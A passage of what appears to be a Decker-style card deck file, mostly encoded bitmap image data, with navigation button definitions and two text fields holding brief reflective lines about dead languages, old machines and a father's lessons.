3dNa2t////bad9/8ybP/7ubdpLH7+YAA/+Rppu1sAHYv28n///////////////nISf////////f///////////bZ3/Zv////b73//CyZ/7+9tkksNq4AAP/pGLs3SAA5m/78///////////////meJP/////////////////9vuybu2Vv///s+3vb/8mb377bfpLCx+6AAN/yUZP9sAB/FA3v///////////////tGYn////////////////////bzM7Tf////7be/t5k2/77vdpMNLL9gAH/xJJSbuABP5Nl+///////////////pExKf////////////////+/7Und/mv////fe77c/Nm/6b2fZcZU5N0ADf5MmTTOwAf+pmn7//////////////LAeUv////////////////++7W7b9f3////9+7v9n5vv83n+fRpJjZ7AAf8uyaWfaA3+bLMXv/////////////dCNpb///////////////////atrt33/////2/++J+vv5Tfm/cmaubLgAX/zNiyzcgH/RJl1f/////////////3QI21/////////////////f2as3vb///////938Zvb/7Ntvv/zZJyDyIF/tPGTmOwN/GTTX1////////////+eZJOTX////////////////f361ref////tv/93dlD9/+a22/7PHfGAeAk/2201mh8B/8/NtmP///////////+x7EXt////////////////+/3m3O97////u+///9Mbf/+zNtw/e8b8gG3IP9uTFmgdhP7mszmD///////////+mbSZe2/////////////////3M0t7X////u7//9uRpP//+dv0hftz1gA+8O9s8tNgHyH/sprPg///////////8sD2Jvf7//////////////9ve5lv3N////tvN//6TGX/+27bIlOfeTAAP7QBb2yZgA+J/f7M9gP//////////+0E2Wb3v////////////////8zttfa////7uf3/+GZbf//u7cko9d6AAD/5kTvfbIAPhv9vZ7AD///////////4Af0Z/uf/////////////9932Zr9m////zu/ff/2Tmv/duz5JjG/bgAA/+kya22YAD8Kbu/vIB///////////+in23377/////////////77/M5vum3///32+99/5GOf/97fyJlMOdkABf/RKh22wAF+yZv7aQAP//////////+yI/Of3nv/////////////79s27e7/////3s733/M59/b71uZBJs/cAAX/FImX30AB3zSTffwAT///////////8Jn29/ff////////////9/9m857TP///+2//vffyzn/Pt3sxJLJm9gAH/kSUwnmADf+SbNe2AR///////////+SH/f3tt////////////77dtZr3nf/////5t+9n7Pf/M+2/yeyTM7YAG/zfsmzvoAf+m2ae/kgv//////////fyZ/vf+7v///////////77/Zlu/X/////+3/3/i/M9/Z5u5uvDLMz5AA/+OOM1nMA//MSba9sAj///////////8zn/c/tv///////////73+ZubbP///////bffJv3//lN+7+yGWWYbAQn+yo5lU/AH/EyqWz8JF//////////3/mb/e7/ff//////////3/97Zt/f////////9/TF/f/md59//KVZYH5AD/uO9M1HIN/mSq22bok//////////3/s3/89/dv///////////97SZn23////7b/7b3TMfv/stb1/t6nzmA7Gh/t48ZrB8g/+czWmj65L///////////9m37933u//////////977tzvbb////7v///vyS///7ObbJ7bm7OAPTJP7XhZsgPBP911Vug/+M////////////v//Nt/Pf/////////9/7m2bbt////7e3/+/izJ//3t7dhN72T4AD/8QNvfMzQD8H/fV2mwH95////////////7t//b//d/////////9+/bJ53m////7d7f/7MmU///fX2TJzv2TAAf/TY23YzAAeT/89mvQB//P///////+////v3/fN/b//////////+8zNn3Vf///7e39//Zk1z/79dexLH622AAH98BJ2ftgAHkvz7s+wBP/5///////+/////bf2f/fv////////9v9zbbblf///72/b3/xNmn//vd5iSUr/2AAF/8zMn+8gAF8kXvt1wAP/zP//////+/////dv+/P+///////////dtjJ3iT///7ntvvf/JMv/9+e7kjFi22gAF/8iIym7gAE/tU+f/QAL/zb////////////e//7e/v////////+/9pmb3BL/////u++/fmZv/72+7RGMnW7oAA/+Ipln28AB/5Mx9t4AJv9v////////////25f9u//////////+97rNz+kW////Zt77+36bd/7e9u1cSpE/sgAt+ZjMlPzADf9I1n/2hIf+2/////////////b//e3/////////+/3rZn2oT/////93v/z+s9/5dtu+XmJuw/AAH/xzIrSnIA/+bU2NvwAb/5z////////////3a/93f////////+/vTTO2klv////7/f2yPz7/5Tve94+ZqtNYAJf2HDMvP8A3+ZM5s+0iT/33////////////+e//nv////////+/+3Wd+oI//////t9vyb9v/5mvd92lzbMh8iA/+4eZyY2QH+SSzm5/IEf/fv///////////++9/vv//////////3yW3cwpjf/////3/ky+//7O7bd/czRdgbAID+2zjHZHgN/2zNNtO403+/v////////////+2//v/////////v/G2WdxJB//////ffsyX7/+Znb799j/TAD8yN/e2Oc2BuA/2XZ1tB7cn/7f////////////+3b/v/////////v2222/QkRb//7//9+yk1//+zWfyfz+DbIA9uQ/09ozmAPIP/07zbIf/kk39/////////////93///////////v/Tkm+QiRf//7f//32My//++d6SS3t8awAP+xI31umMAD4t+nzztgD/d21b7////////////93f//////////v63N29ySA///yf///U0kr//97v6WL22zgAB/+RDPu85gA/B//vGuQA/fMt27/////////////3b///////////7qZn9kMk7//zb///xjN2//d3OWSUt++EAAfvzMsvZmAAHZL1u+04An/5s2zf////////////+3//////////3/s7u3IThf//zGf//7GNl//97fcSFT26wAAn/2Ji/f8IAH8yN/7twAH/7N7vf////////////+7f/////////37Z2Z7ZBZP//yWf//+kzN3/v722SaVPe2AAP/wTGJu1gAF/jZtvuwAJ/9Zms7/////////////+//////////37Zs73lG3fv/zpM///ynN//u3e2IxpS98gAJ/5kM2u94AF38lJ7f4Ah/+Tu7zP////////////+//////////v/z52+aS7f//yGsn//9st7/f909mySmj2wAD34mylJt7AE/5mbJ9vhBP/vZtvb////////////////////////8zJt65rt+//zcZM///Frb/TZ39k5ZOeb5ACP+pzMnN7AB/9MrbT+yAL/21t2w////////////////////////7zbzn3S3b//0kxZj//9Pf/T99t5ng0kztAAP/rHkuZPZBP8ZmTfN5CS//bbbYP//////////////////////3uttPPXd/f//0ynZmf/7d//mz773lDTOmfYJB/scdMzTeAf+ZmbSd3gSf++7e0D///////////////////////u5mc/3/9///1psZmx//r//mnurvdNMssDYIDf7zzdmYewD/bc23aPayX/77baA//////////////////////3/Ztb7X//3//tKxiSnP/7//mu2+/9pazZA/hIP7OPpNwDyG/2f2TeB8sm/3v+0AP//////////////////////2Z53v3////9vpJm1k5f///ttt2/3/L/NAH3Yn++8K5kA+gf+z9vaQf/ypve27AD/////////////////////327Zre3v///97fUzTHjX///9ndtJ+3ad6AB/eSH2/ZrYAPyH8/GmbAD/dts9//gA//////////////////////vqZ7tt////9797TEtNaf//77Nu1l7fzWIAP/xINtfUwAB8M/987bQC//lZzdtyBP////////////////////7+s7Z/t////9732mWzJS1//7tu7JLXu2cQAD/vFpu29yAAfw7t3zbQAH/9ZvZ/3AD////////////////////325zbzJ////9zvf+UpOu23///e7ZpNe94gAC//MTNvtkAAvzJP/fbQAn/5r63pfkC////////////////////v2zPW/vP////329t2zqaUr/93duxJU3d2gACf/YpJe3cAAn/JZN9+QBD/9rJrbm8Ef///////////////////vvtc25sf////b37/2nK01sn93buyZWTd/YAAX/RIzJ3dgAHfyTbb24ABv+bf23A7gf///////////////////v+s1m91/////dtvvfsZlmt+9/vvIxSbN60AAn/2ZTKn/SAX/yabPv+BCf/bZXbYHpO///////////////////v257O91f////+9++/9zWMpkp7udszSma77IAD/yTEmbOcAFv6SyaftpCJ/2922wB+W///////////////////f2zk99tv////2777+5OZtttt7t92WSmTL3oAE/+NsyUs+wJ/4mGztvyAG//bbuyEP7////////////////////3tOzdtv//////vf/7ozmZptX73vN/mecnaBAb+04lmzewA/7Wc3Ob/Akf++7u2AB////////////////////ves8/dv//////2+d3fLnNprpNzuu821ozz9IAn/tbsmnJ2Bb+Mkzd5NkiX/77N0AAf////////////////////c550/ff//////7/39ZNtnzLa32/7ZZm3APwSC/8kcrMwegH/yubNnH8st/3v9kAQj/z/////////////////3f1lt7d///////3vf/TRnPXbZt3t3tltZUDbEIv56RplhG0if3J8++Qfti//e3+AAD/+/////////////////3+bbbvb////////+/9MTNe22TW2v/ezbZxBfmwn/9tlnMA9C//dnzZgH/1JM9/bkCJf5v////////////////325prOfv////2//77vYyb2222dt7e97LbyAH3tFeb8lZMAPkH+9u3dkC//dt39/sCB//n////////////////39rTzf+/////v7//3+Zmzbd3u7u1N736fiAB/vMh9r7J2AB8V/36zbYAP+5bWb28gBP+b////////////////322dn3N/////c3v//byUmft3u2u5SXvbaaAAP/4rG3vOyAAfJv3b2uoAn/+zN7f7iBf/7v///////////////3+5Z23d/////59///+mZmb/bv97ZjJe/2wAAT/7IYveeSAAXsr/736YAA//bbm0vsCX/Gn////////////////2z3bv3f////r93f/+yStv/fvtntKG17fSQAD/+ZRm5/cgAF+ZC33tsAJv/VzO34/QP/ef///////////////722ma+mf////vbfd//lmZmf+fe/aYsTXt8gAEv8xGUT22gAm/5WXfv4AIP/Wf9toPYm/bcv//////////////vvm225+/////7e9/3/+WZvf+/dttJJktfzgAA//jMZ1v7IAD/5Jc9vbBIb/877dqR8n/2c3///////////////emnbf1v////3a72///JNrf//ffaUUMy3fkABN/KYyk2t8ATP8ykzff0AD/5//tuAPz/2a1//////////////79vu29tv////979v7t/2mbf/N+9vZZZlLd2AAF/55KZhb7ABf8zObN/ZASf/t/bbED/v2+tg==&#34;&#xA;{widgets}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[323,58],&#34;pos&#34;:[175,24],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my second refuge was in relics of the past.\n\nfailed philosophies, dead languages, and the ancestors of the machines I command.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[184,20],&#34;pos&#34;:[314,91],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my father taught me this.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{card:card4}&#xA;image:&#34;%%IMG0AgABVgAAAAkjNkQBm222fPLTJyZbbNsy22SSSTMZkRJlMkkJJpAGDJDKZimymWRRRCRCZk5ttksm3+7bbNtdm222ybcAAAAAKM2QAGNttsss22mzUksxmZJKZJNJpJkpGZtspMSLYMkZIxGJAkEZTTGTWTGZm226/alnbbNm1e9bfbzJAAAAJI2zYAAskkmZrSzazW2zJmZkmy20zKZkyZJEgjIxYhsjZiyUZllsyySaWSWds2ZJts1vOWbffbZt9/9mbAAAAACSWSAACrNMZmNmlkyJLMySTaSQTLJZBhZmZJmJjBjAMAKApjDNEmKyysy2zMzZ/tdm1NubbZt//7//2zYAAAASEs2AAAKMsySa0zEyskkzMzJkxkMLSbGkSZkkSSLEnYzY2kmLIZMYmmSzmmZutyZtOrfW+23v3////tmTAAAAAEmmYAAE2ZM1khltpkzTJMyIkykyZCYpKZhDJlJKJSCKRBMYmDZszUk3Nmszs6zZqds5Ns22/f////+maQAAAAkkcoAABSZYyWWkiJlJNMyQyxgpGJSwikomWMkSSSkmYydExmWEQiVlmc2t3Nlrm7tVzu2/////////tmwAAAACE1qgAAEkzJoZJqZJMwRSTTBlhMaTCsZSwwgRSSTIklCYbGUE2ZsyNmZptM1OWmzOZvb/+////////tmTAAAAEJJNIAAAWSZiiMgzZpTZEyUGhHIhIUoxJFjnVEkyEsmckokZchJkypLbNlZna5bmc7693//////////M1gAAAAQk5cAAAEMzDKYTCJLEhYiw2JkJmSxRJKUSEEYkiZYsIySTIktmSSmZmdbbMrLnO7377///////////dlkAAAABCbZAAAAIiNExIMiQMmRoiiMiSESCRRKTJJMppKRhI0hlMmYpKZskZm5ZqZqc+d/v/////////////2dLAAAAAEkzIAAACIkzCSgmTRsZBkmIZJMksizKSMzMoBkmTMlNk0mRpIkk1k2zrSzt7z/3//////////////+5bAAAAAIEzIAAAAZlCMpLISFAgmRETJGRKQmISSxDIJbDGRI0MBhMNJbWZJNZnKbWp2vvf///////////////trYAAAAAJLbAAAAAEMxSQJkkTLKRkkKWTIlIYzGDMDZSJMGmk4bGY0ySUpspsm2y272//////////////////9aTAAAAAAIzIAAAAZIjEZSEkCIMkjIyQEJGSxImWJ2FJJg2KZjSZJjDaSmZ7K/vf29///////////////////95+QAAAACRTSAAAAAJIKQkZIMJQSZJiSkyUJCZiEZCaSTDEMlmMhmGMk2tZl/tu83/////////////////////724AAAAABGzAAAAASRkmYxJgREkhCEkmJJk0xGZhShLLLM02SY2SZZmWZn/3f////////////////////////+22AAAAAAEzIAAAAAJESRiSGBCAGSZEkYklBjMRmTGUmGSrZttkzJlmc7vf////f/////////////////////+9twAAAAARGyAAAAAgkkkEiYaSJIChMkhZJMkIzBZMZSaTMtm2UmWzbt//////////////////////////////9/0AAAAABMzAAAAACCIk5GhgiQAkmQkmRJIxZiLBkylpu1ybJNs2btv///////////////////////////////7fAAAAAAA1kAAAAAMJkhMGGSRJAATJJZJJBJEybLKbW0zNptmtm9v/////////f//////////////////////79wAAAAACVGAAAAAASEkSZMREgAJEJJBJJNYZjSZM1tZms2yTLf///////////////////////////////////30AAAAAAU8gAAAAACIkyJEkkjJIMySbJJIhZmWTZ2SxkiRJLPf/////////////////////////////////////AAAAAAgykAAAAACEhCSWIiJJAQhJILJLLJJSebJtjJmZt27f////////////////////////////////////7wAAAAAClsgAAAAAETESQpmJCTDCSUyJKMqZm0yakmZkzrb3/////////////v///////////////////////f8AAAAAAJkgAAAAAAJEwkjESSSMMiRLJaZTbazGSZJTJmb/////////////////////////////////////////AAAAAAhmZAAAAAAAkikkJGSQgwyzMNSVnGZks2Rtmbt//////////////////////////////////////////wAAAAACJpAAAAAAAJIkJSWSSmDBiZZSWaaSUyk2TOzN////////////////////////////////////7/////8AAAAAIZmQAAAAAAAsxJEQEkkcNkzJLspimZJMk7dv///////////////////////////////////3+///////AAAAAAhJZAAAAAAAIxkSSkkkhZJma6EmGMks1v//////////////////////////////////////v////////wAAAAACZkgAAAAAAAzjSIkkkmTJmSSZMZZmbb//////////////////////////////////////f/////////8AAAAAIRaYAAAAAAAGuMkkhJMybSWUTMzFN9//////////////////////////////////////e///////////AAAAAAyRpAAAAAAAAy6kQlEkmyTIU2JKff////////////////////////////////////999////////////wAAAAAArSQAAAAAAAHOtlhJCMESM0k3u//////////////////////////////////////v//////////////8AAAAAIiZjAAAAAAAE29mFJEok0ySt3f//////////////////////////////////////f///////////////AAAAAAlTmAAAAAAAAzNtpZJCLIzNt/////////////////////////////////////vf/////////////////wAAAAAEWMyAAAAAAAFttmjJJMsze////////////////////////////////////u9///////////////////8IAAAAEY5iAAAAAAABXbfbJSUzf////////////////////////////////bb/+9v/////////////////////AAAAAAIjOkAAAAAAAZbdtmTZv/+//3v//////////////////////////bf/27///////////////////////wEAAAAIs5kAAAAAAAD2222aX//v/v//////////////////////////e7f+3///f/////////////////////8gAAAACRzlgAAAAAAAW27b2/ft/e/v////////////////////////7d7/b/3/////////////////////////AgACACJFNmAAAAAAAM222ma+/3e//+/3////////////////////3b/37f3//////////////////////////wAAAQAE09kQAAAAAAB222+979/f/f3/3///////////////////9vf2/3/f9/////////////////////////8gAARAERptkAAAAAAAW23t2337/v//////////////////////7b++/7v///////////////////////////9IAIAEgAklpmQAAAAAADt9tm//f3vvv////////////////////v/t77vv//////////////////////////8gQwQACiAiZbtIAAAAAAAt13e27/fv///9/////////////////9u2/33///////////////////////////+gibYAACMAEhppmgAAAAAALbdZ9/u+/33/f////////////////d7/3tv//////////////////////////7/QCLe/ACEJQMTL3uIAAAAAADbt3m2+/93/9////////////////297tvv//////////////////////////23kBN///0EAFMIJJNZswAAACkAbfee/9/d/7///////////////7tv77/+/v////////////////////////23/ECd3220EBBYIIjZzMwAAACJAG1c523/d9/9/////////////7vv+3v9t9////////////////////////9v/2kK7/3/vAABJgSKTu9kgAACRkA3d7nfu//29////////////+3u/Z/e//////////////////////////9t+9sAb/u3suwBIGiQImZzMyAACXTAm7bfdv/u////v////////tt/fZ329/////////////////////////9t/97oFv2+7u/YQASMAyWZnNpIAAU7MkrbZ2/vf7/fvf//////+2/7U7d3f/////////////////////////dt//f/INf3re7dfAIAsSBIW+/bSAAEi9Ak23m7/f37///////99t/ZLf7v//////////////////////////bd//u+6AZ/dvc737QICAQMSk5pNbIAEsnZJS2e/7/v337//vd3b3+03++/+////////////////////////+2//9+//6Cb+57e+3PtAEFIgQMzbeakgAJ2aQhl55/7///7//v93dvNt2b77f////////////////////////t/73v7//8E/7b77d9+eAAAAjExtbZa2YApnuySEnn2/7277+7fbtt2+29/v////////////////////////7tv3v3vv//wR/bt7z3W29wAiAAEjI2221pgDNm2kYpef+///v/797Nu3bv7/f///////////////////////+3v/vv/////8Bne7233fe9sIgABIiJrbaVmmkZnu2QhJ9v+99+9tzTdttvvv////////////////////////9t/f7//3////4S/bbu92+297gAQAIiSW2s9tttzvO1oRLt/d/715szNWt3//////////////////////////+3/2/379/////8Bv3v+93s7ttwAAAISSZW6ypllm7d9uxCN79/ftlpra2///////////////////////////3b/bf/v///////4S+XbVt2v3vdwCEQAQgk17upnPOzbdt7KNzv/feszMzv9/////////////////////////9vft/9/f///////8BN9733b7Pdt/IAAAEikzns3JM9ubNt26lv/vf9pjZ3///////////////////////////b++/73/////////8MfXz3ve3+3e5gAAAABJkvf2bmzcwzJt7tM3v/33Oz//////////////////////////+7ft//f//////////+A9ef3s89z3d70AAAAABEz9drLKZiTZJ3tt/fvv9Zv7v///////////////////////7t///3d////////////pDa82t793n3W3AAAAAAEtn92SMzG5uZDfva/+/73+///////////////////////9tvv3fvv/////////////gTL+97+97/ne9wAAAAAAo3b7fZSSSyQQbebu373vf//////////////////////+3/+/f+///////////////4Ku293s57pv29yAAAAAAJr9u83MgADwADt7e/f3//f////////////////////7b+tt7/7///////////////5Cbbd7d/7f/n1vIAAAEgBM3+77awACMIAPm1/937//7//////////////////dv+0+/37////////////////8BNvtr99b9bPnux7MABIBN3b/vvIJxJjgje3Xb3/7//////////////////+297Td97f//////////////////Yc23bz7ft+/vvcCZbLISJN/tuecI3CaPAd29//+/77////////////////b/bzv9/3///////////////////gJ93b3u+367PtttTIMqSZN2+/9/AJA6Fgd2z33++////////////////+2/M9v73/////////////////////7bN3b387vb+/Pu12awyYhbb77Xu4DhDBID3vPvu////3////////////2/ue723vf////////////////////8Cdve3Z/u7c7fO5IyzJ0kSbtv3O6ACBQJAvs+/v//ff////////////23ss/e/////////////////////////WZu2299f79/3fetmVNlRSa383/3ggg0BBOtz7//7//7//////////23uu9+97////////////////////////yW7bu779n29ffczc1bbJEm3b/vXaAHLAIHvfP77/////////////23bO7d97//////////////////////7f/+pb3u/Pr3d752b/JmzJqgmX7a8/+ggI4AXfZ+377999////////bfbdu3d7////////////////////9///9/8mm3f8+3v93r3/tusrOyTJdn256zeAATff93m////////////9t7Ztt3vf/////////////////////93//b//0K25m77e3/f9mdmZs2ZxJE3e/9794Adbe3ne97f9///////7b2zbu23f//////////////////////9////v/9Jt7/ft9/M92/9+ZkzNmSbb887fy2302//v1t//f/f3///dv9trbbbb////////////////////////7v/2//9km359e32/727nttrbMsSSZv97c3tvP/7f5nd+//e/3/7296TU2zbf/////////////////////////7v//7//4TbTz2/bvfv/PO8zM25mET29vd7ds+tv++G57+7//3+3vbZ9Nzbb////////////////////b//9//7///v//7hN//vt3u9e1f/ZrWTJmM2X7e97tv7//e+xnz3///399amZk2nt/////////////////////fv/9///3//v///QG21+33fu93/LfszNvbIiZv97babPtvf/5Gf33d73tkzOZttO3//////////////////v//+f//////f//3//9CbvZ7f9u73rf25zNmZkmW233u1r8/+/v+Q03////pNrM2zN////////////////////e3/29/////7//9///7wEu/38z7/vvvXtnZNbTIU7/fe+Wz7b///jH39/++msmbWbf////////////////////9///v/////////9///vEfbfb/vtu7e/uuTZmbJkzt999tbv/vf/esvv93+8ZNbf//////////////////////7W//u7////+9/+////8wRfc7t+e/35zvZubOaiMtf333s282/f3/ruvf/39ld2+3//////////////////////v///7////////+////7DM973197Pb3tfOyc+zIpZvfe7q7/7fv3vN/f///ebf/////////////////7//9v//e3/7f/////3f/9////e0J3/3b33u9/7+cm1pbMpr+997M3t3/////d/vf/9//////////////////+3v/////9///9/////3//7////97RFM3/vff72zszc2bWwZaz37393f3337/vdv//ff//////////////////97f//v3//3//b/////////v////3lBd/me89tu39+dk52TRR3nfv2W9v33//+9+/3//////////////////9n/21v//f///////////+9/+//////2yBs/97779/182dmz3MbVv9+9tz3//9+97t9////////////////////ffu3f/////3//3f////+9//7v/////4JJ5v3vtt2t52ZszmyYtvv39u3vdt/+//v39979/////////////7//Zv+29//7//////f/////9//3v////+3wBH9ve+/7u789jnNrJi7bfd6v+//++/u9P///9/////////////7v//v/9r//7//+//+//////3///f//////bJEZ2957Pv75zbM22kXLf997tn7t+///7+3+////////////9v/3+/6bf9vv///////////////b/////////+0ABt733+fXn9ptnNqRO+33/d/bv3//93r/3/v//////////t2//Z//7f/7f////////f/////+///+//////+7QCJ3e/b93fZzTOdsrNr/fbZt//v377/e2//v///////+9tuzf97//2//7//////7//9v/////7f//////////uAAE169vn73LbM5tyJW29/3vW3+/73+9/+//+//////t7b/bd/27/2//73//7/////7//////////////////+4AInX79vrvby2zrSTZ//22bd/b7///702/3/////7t/mpvZX//3/3v//3////////////7///f////////////wAAM3t3v2/HTNuulLm/v97d2//9/vXt//3///7+7v9ubb7Wf/nf/P//X/////+//+2////////////////3/+/AAgld/fd6e2sy60af/vt2+/729//9e83//v97+/9v7Zb+2//v/+/f//v//f/////////////////////////7aABJV59d3zmrbnlI1v//7a5vv7/t7l7////93+9Zv/WTf63/+3/zf/2//////t//s3////////////////////oAAETz9/fOmZmeY3b/7u21+/v///22t//3/8W/3t/ebf9v/7f/n///b//3//v3/+////////////////////+/kAISTrza2tbfy5pb//+7db7+/799p733//51/bN/+2/7d//t//v/+///////P/79////////////////////9+QACSmv3nZmZHqGb/3/+1r/t+///Jnv///3E39t//9b/Z//f/7O/+7f/7//9u//t/////////////////////9/IEEiY3c3Obe24bW//97u2/9+/ffWe//f/Zv/3f/9t/b//9f/f//9///v//3///+//////////////////////+wQCJk12c2azTp3//33s377///+Z7+///5n/9f/+u/7f/2/+3f/23/+///vd//////////////////////////7hISMzN1ma3tC3v/3//n37vv3v+nn///+n/93/+7f7d//b/u//+///7//+9///////////////////7////////YxIktnM21uzLfv//7O33////2bf///+zf/3f/5v/b/+3/u7/9t//3v//////////////////////////////96Qkkyuts2zaVtv3//+v373///5tv//+7f/t//33+3//3f+3//23///////////////////////////////////9pJhLrM27Uze/v///+//v/9/tn+///+3/93/+b/2//t/9v//tv//7///////////////////////f//////////tm1nNsy3SN7f/+/9++//f/ebb////X/7f/97/2//+3/s//9u//////////////////////////////////////0ivbM322zX93f//37/+/+/Z/v///9//d//m/9v/9v/N7/99///////////////////////////////////////+rLNtG2TPb3//3/v9u///t2///////f//u/9v//u/9v//73///////////////////////////////////////9ubNu20u/vvf/3+7////637//////c//9t/b//b/ts3///////////////////////////////////////////abNO20zbfu97/379///9rv7/////+//9t/bv//X+73//////////////////////3v///////////////////7s2dW1k3/f73//f97///bu//////7v//t/+//2fd7P/////////////////////vf///////+/////////////ZzbW3k23/fvf//f///77f7//////v//bf63//+/+////////////////////+9///////////////////////bMmbmtl//9++73/////+bf//////f//7f+3/7t7+///////////////////7t////////////////////////7Z2bm5k1/3377/7u/v//b89/////9v/7f923/v3////////////////////b//////////////////////////bNuXtpv3//Xn9v/9///237/////v///b/k3//f///////////////////t///////////////////////////bZmdt7m////fb/73///+/f/////+v/+2/fm/7//////////////////+7f//////////////3////////////7bNczZJt//+5tt//////tt3////9///s/9O////////////////////d//////////////////////////////a5l7b1v///77b9+9///973/////3//tt7dt//////////////////3f/f////////////////////////////2zOW23Lb///7bP+////97v/////fb//N/7//////////////////23/e/////////////////////////////zdc820q/////2/f//v//u39////9v/9bf/v////////////////9v/7///////////////////////////////szZ23zO////ez//3///6z9////3uf/7f/////////////////+3+9////////////////////////////////27NtttW////+/b7/////tt/////bd///////////////////9t/d9///////////////////9////////////3Zsztq19////93//7///c3/////7f///////////////////t/39/////////////////////////////////9tmzLbrN/////3//f///5p/////7/v/////////////////bf7fv//////////////////////////////////u2b3Nsr+/////vv/////tv///////////////////////7f9v9///////////////////////////////////9psne3a+/f///+//////9e//////////////////////7b+3+////////////////////////////////////9vm2mbNb/f//////9///95/////////////////////9v/2/b/////////////////////////////////////tNNu2uXv/////9//////7/v//////////////////9t+bf9//////////////////////////////////////920lm7a/39/////v/////9v/////////////////9t75/tv///////////////////////////////////////tLdmzWv/79/////////////////////////////b9rr2/////////////////////////////////////////N2tvveb/7////7//f////f////////////////t3N/7//////////////////////////////////////////9raama1/f+///////////9///////////////7e3e53///////////////////////////////////////////ulpvbmf/++7///v////979//////////////v9tvv3///////////////////////////////////////////tbW2bW7//+///v//////f9/////////////7ebfuvf///////////////////////////////////////////7dlbbdm///+9++//////B9////////////+3t9tv/////////////////////////////////////////////96W02Zuf//3/2wf/////wD////////////btbnf///////////////////////////////////////////////ztrbbtv//33e1H///3/+AP//////////beu9vf///////////////////////////////////////////////3mms27W////cwN3fv///gGf///////+23a77/////////////////////////////////////////////////93Na2zdP///9kj3/////8Bff///n//b23bvv//////////////////////////////////////////////////3dls3bf///7OjP//////BE////1/+/ntu++//////////////////////////////////////////////////2zOW12y////Mtu//////5O////xN76etu7////////////////////////////////////////////////////uZtdm3P///213///////at///ws3N57//////////////////////////////////////////////////////s7M1tt3///2Zrd/9////7t3//8zLd3nt/////////////////////////////////////////////////////32Z7Ntn///9lq9//z///+1bf/+bshrf/+/////////////////////////////////////////////////////dbpttuv///mbb//s////1b///N5QIYP8J////////////////399/////////////////////////////////52bbbbr///vZm7/6////+zW//2/VAAD8JL/////////////9tv3//////////////////////////////////z2ZZtttv//+02z//L9///rd//5faQAAcib////W////////t//////////////////////////////////////7bT223Qz//3RNl/W5n//Mgn/+X24AAECbH//0k///////7f979///////////////////////////////////22e1NtZAf/fbMmTbfu/+IL///O2SgAAJE8/+SSn//////b9v7////////////////////////////////////92az9ty2H//+4APfvb75D////y22YABJNzzsQkk/////bf7/v////////////////////////////////////922tptmwkP/bzIAzf8GTP////8luwAATZvOISk1v///bf+////////////////////////////////////////7tZ3tuSg1//v9kjZLZ/f////+Ws2gAjTa+7Illv//t/+3+///////////////////////////////////////7tttbM2oJH///Zkz+/2//////Fr22IM2b7ba1Nrf2/22//////////////////////////////////////////tu73NmkMs/f//sQD7f//////03NsCDZ7XdzZtvNv7f///////////////////////////////////////////77bOfMsQa3//+6EBn9//////85dsyAlm3d3Vrbe+39t//////////////////////////////////////////3Nt87dszIJf//////3/v/////F3b2xOW2/bfbbW7/b////////////////////////////////////////////e3z3ZZkMAt73/7///L//////lbbszUtttu67bdvt/////////////////////////////////////////////+/bvbpsxE/P//v7/////////5a27kzbNv+7re7O//////////////////////////////////////////////7dt62bynFhz//v+//////////K27tiNt7N+3c7P//////////////////////////////////9////////////9+3t5nMNFTP/////////////K2/7Mzb7f1/d7ff//////////////////////////////////////////////75+cz2RoB7fv////////////425/bjNrffm97bf//////////////////////////////////////////////3v057ZtCD+z/////////////+Vt+bOTz2fvbr2////////////////////////////////////////////////e97tzAhH7/P////////////5Zt/7azP3f/9vnb///////////////////////////////////////////////kJtpSNAH393////////////+Ttr+zs9nufb93d///////////////////////////////////////////////wfafpgB///3/////////////mbbOzMz3u9/53t///////////////////////////////////9///////////8hb8AB////+/////////////9zbf/bttt7/79u/////////////////////////////////////////////////AX////////////////////+227e2s3t3rf527///////////////////////////////////////////////9//f/4f/////////////////s2zty7bbdb9z92///////////////////bb/////////////////////////////94H//////////////////923u/nZ7d3z352////////////////ttt/dt/////////////+///////////////////////////f////////223vmbbbbfvz9v//////////////+///qd923//////f//////+//////////////////////v////3//////+23/7u27b7/v58//////////////97Zpv+zb/bbbbbbdtttt//f/////////////////////////39///////+22v/Oz7bbv+z5//////////////93t33W7bl//9+/7/////27f///////////////////////////////////9ts/ZvPb2//37////////////////e9ddt23Waz26bzbNbbf7/////////////////////////////9//////9232bm2fXb/3m7//////////////t5757t23d97u9933fd/9v3////////////////////////////////////fbN7bb+dvt3v7v//////////////32rzNtttnd+53b3fe23+3e/////////////////////////++/v//////89tm12u97d/tnf///////////////e+39ttu+92/7e3+e//b/9//////////////////9////////////////27be3W67b3bv3f///////////////999ntttZz+9bu/a89t/m2/3/////////////////////////3/////////tttd727bfuv+////////////////3Z+bt7dvp9+7t775/2397//////////////////////////3/7///////7bd1m2z227em/////////////////f57tzt67373vz3v5vvm3//v///////////////////////f37//////9/ttne3v3ez3ff////////////////+723f3bz7bvbb3bb++ve3//////////////////+/////////////////7bO5ts2233d//////////////////773c3bfz3+793t3557dv3/////////////////////////9//////////ttrvt7u3m3r//////////////////3vb/7833bb23v3T33bu/9/////////3f/3//////////////////////7bdubbttu7fv//////////////////e3tnz/2//3/vO33dbvb////////////v////b////////f/3////////tt27bbtpt9///////////////////93b3fs37bbmtu7227vd+//////////////////////////f/////////22bbeftrt23f/////////////////733v879v/3vv3tt27bbe///////////b////3////////////////////Z7t22bbbb/f///////////////////vez7b623fvPd93t3bb///////////f/////t////////3//////////tmb229tVrt////////////////////u1vt2t3/ZNu5zbO2bbv/////////////////////////3//////////+9bbs22Wbf3/////////////////////u227dm393rve9t7bP/3////////37f7//t+///////////////////p22s1te7ZPf///////////////////27bbt